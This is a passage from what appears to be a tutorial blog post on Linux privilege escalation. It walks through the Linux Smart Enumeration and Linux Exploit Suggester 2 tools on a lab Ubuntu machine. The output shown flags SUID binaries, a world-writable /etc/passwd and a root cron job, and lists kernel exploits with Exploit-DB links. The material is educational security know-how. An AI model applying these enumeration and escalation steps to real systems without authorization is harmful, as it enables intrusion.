52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly
*/2 * * * * root /mnt/cleanup.py
```

## Linux Smart Enumeration

GitHub Link: [Linux Smart Enumeration](#)

Avoid using the stupid time-tracking methods when using Linux Smart Enumeration. [Diego Blanco](#) was the one who created it. The LinEnum Script that we previously covered served as the model for the Linux Smart Enumeration script. Like all the other scripts stated, this one has the same goal. This script provides three levels of verbosity so that the user can adjust how much information they display. It uses color to distinguish between different warning types; for example, green signals that privileges on the target machine may be elevated. In order to verify the sudo privilege, it asks the user if they know the password. It examines the Path Variables, Sudo Permissions, user groups, and other pertinent files.

```
chmod 777 lse.sh
./lse.sh
```





```
ignite@ubuntu:/tmp$ chmod 777 lse.sh
ignite@ubuntu:/tmp$ ./lse.sh

If you know the current user password, write it here to check sudo privileges: 123

LSE Version: 3.1

User: ignite
User ID: 1001
Password: *****
Home: /home/ignite
Path: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/usr/local/valve/bin
umask: 0002

Hostname: ubuntu
Linux: 4.15.0-136-generic
Distribution: Ubuntu 18.04.5 LTS
Architecture: x86_64

===== ( users ) =====
[i] usr000 Current user groups..... yes!
[*] usr010 Is current user in an administrative group?..... nope
[*] usr020 Are there other users in an administrative groups?..... yes!
[*] usr030 Other users with shell..... yes!
[i] usr040 Environment information..... skip
[i] usr050 Groups for other users..... skip
[i] usr060 Other users..... skip
[*] usr070 PATH variables defined inside /etc..... yes!
[!] usr080 Is '.' in a PATH variable defined inside /etc?..... nope
===== ( sudo ) =====
[!] sud000 Can we sudo without a password?..... nope
[!] sud010 Can we list sudo commands without a password?..... nope
[!] sud020 Can we sudo with a password?..... nope
[!] sud030 Can we list sudo commands with a password?..... nope
[*] sud040 Can we read sudoers files?..... nope
[*] sud050 Do we know if any other users used sudo?..... yes!
===== ( file system ) =====
[*] fst000 Writable files outside user's home..... yes!
[*] fst010 Binaries with setuid bit..... yes!
[!] fst020 Uncommon setuid binaries..... yes!

/bin/nano
/bin/cp
/usr/bin/find
/usr/bin/vmware-user-suid-wrapper
```

We can also see the cleanup.py file that gets re-executed again and again by the crontab.

```
/etc/crontab:*/2 * * * * root /mnt/cleanup.py

[i] ret400 Cron files..... skip
[*] ret500 User systemd timers..... nope
[!] ret510 Can we write in any system timer?..... nope
[i] ret900 Systemd timers..... skip
===== ( network ) =====
```

SUID files such as nano, cp, find, etc., can elevate privilege. We can also see that someone can write to the /etc/passwd file, which can create a high privilege user and then use it to log in to the target machine.



```
[*] sudo50 Do we know if any other users used sudo?..... yes!
.....( file system ).....
[*] fst000 Writable files outside user's home..... yes!
[*] fst010 Binaries with setuid bit..... yes!
[!] fst020 Uncommon setuid binaries..... yes!

/bin/nano
/bin/cp
/usr/bin/find
/usr/bin/vmware-user-suid-wrapper

[!] fst030 Can we write to any setuid binary?..... nope
[*] fst040 Binaries with setgid bit..... skip
[!] fst050 Uncommon setgid binaries..... skip
[!] fst060 Can we write to any setgid binary?..... skip
[*] fst070 Can we read /root?..... nope
[*] fst080 Can we read subdirectories under /home?..... yes!
[*] fst090 SSH files in home directories..... nope
[*] fst100 Useful binaries..... yes!
[*] fst110 Other interesting files in home directories..... nope
[!] fst120 Are there any credentials in fstab/mtab?..... nope
[*] fst130 Does 'ignite' have mail?..... nope
[!] fst140 Can we access other users mail?..... nope
[*] fst150 Looking for GIT/SVN repositories..... yes!
[!] fst160 Can we write to critical files?..... yes!

-rwxrwxrwx 1 root root 1498 Feb 28 09:35 /etc/passwd

[!] fst170 Can we write to critical directories?..... nope
[!] fst180 Can we write to directories from PATH defined in /etc?..... nope
[!] fst190 Can we read any backup?..... nope
[!] fst200 Are there possible credentials in any shell history file?..... nope
[i] fst500 Files owned by user 'ignite'..... skip
[i] fst510 SSH files anywhere..... skip
[i] fst520 Check hosts.equiv file and its contents..... skip
[i] fst530 List NFS server shares..... skip
```

## Linux Exploit Suggester 2

We discussed the Linux Exploit Suggester. However, now take a look at the Next-generation Linux Exploit Suggester 2. It is heavily based on the first version. There have been some niche changes that include more exploits, and it has an option to download the detected exploit code directly from Exploit DB. It also offers more accurate wildcard matching and expands the scope of searchable exploits. Last but not least, it supports Colored Output.

```
chmod 777 linux-exploit-suggester-2.pl
./linux-exploit-suggester-2.pl -k 3
```



```
ignite@ubuntu:/tmp$ chmod 777 linux-exploit-suggester-2.pl
ignite@ubuntu:/tmp$ ./linux-exploit-suggester-2.pl -k 3

#####
Linux Exploit Suggester 2
#####

Local Kernel: 3
Searching 72 exploits ...

Possible Exploits
[1] clone_newuser (3.3.5)
    CVE-N/A
    Source: http://www.exploit-db.com/exploits/38390
[2] dirty_cow (3.0.0)
    CVE-2016-5195
    Source: http://www.exploit-db.com/exploits/40616
[3] exploit_x (3.0.0)
    CVE-2018-14665
    Source: http://www.exploit-db.com/exploits/45697
[4] memodipper (3.0.0)
    CVE-2012-0056
    Source: http://www.exploit-db.com/exploits/18411
[5] msr (3.0.0)
    CVE-2013-0268
    Source: http://www.exploit-db.com/exploits/27297
[6] overlayfs (3.13.0)
    CVE-2015-8660
    Source: http://www.exploit-db.com/exploits/39230
[7] perf_swevent (3.0.0)
    CVE-2013-2094
    Source: http://www.exploit-db.com/exploits/26131
[8] pp_key (3.4.0)
    CVE-2016-0728
    Source: http://www.exploit-db.com/exploits/39277
[9] rawmodePTY (3.14.0)
    CVE-2014-0196
    Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
[10] semtex (3.0.0)
    CVE-2013-2094
    Source: http://www.exploit-db.com/exploits/25444
[11] timeoutpwn (3.4.0)
    CVE-2014-0038
    Source: http://www.exploit-db.com/exploits/31346
```

## Conclusion

The point that we are trying to convey through this article is that there are multiple scripts and executables and batch files to consider while doing Post Exploitation on Linux-Based devices. We wanted this article to serve as your go-to guide whenever you are trying to elevate privilege on a Linux machine irrespective of the way you got your initial foothold.

To Learn more about Privilege Escalation. Follow this [Link](#).

# JOIN OUR TRAINING PROGRAMS

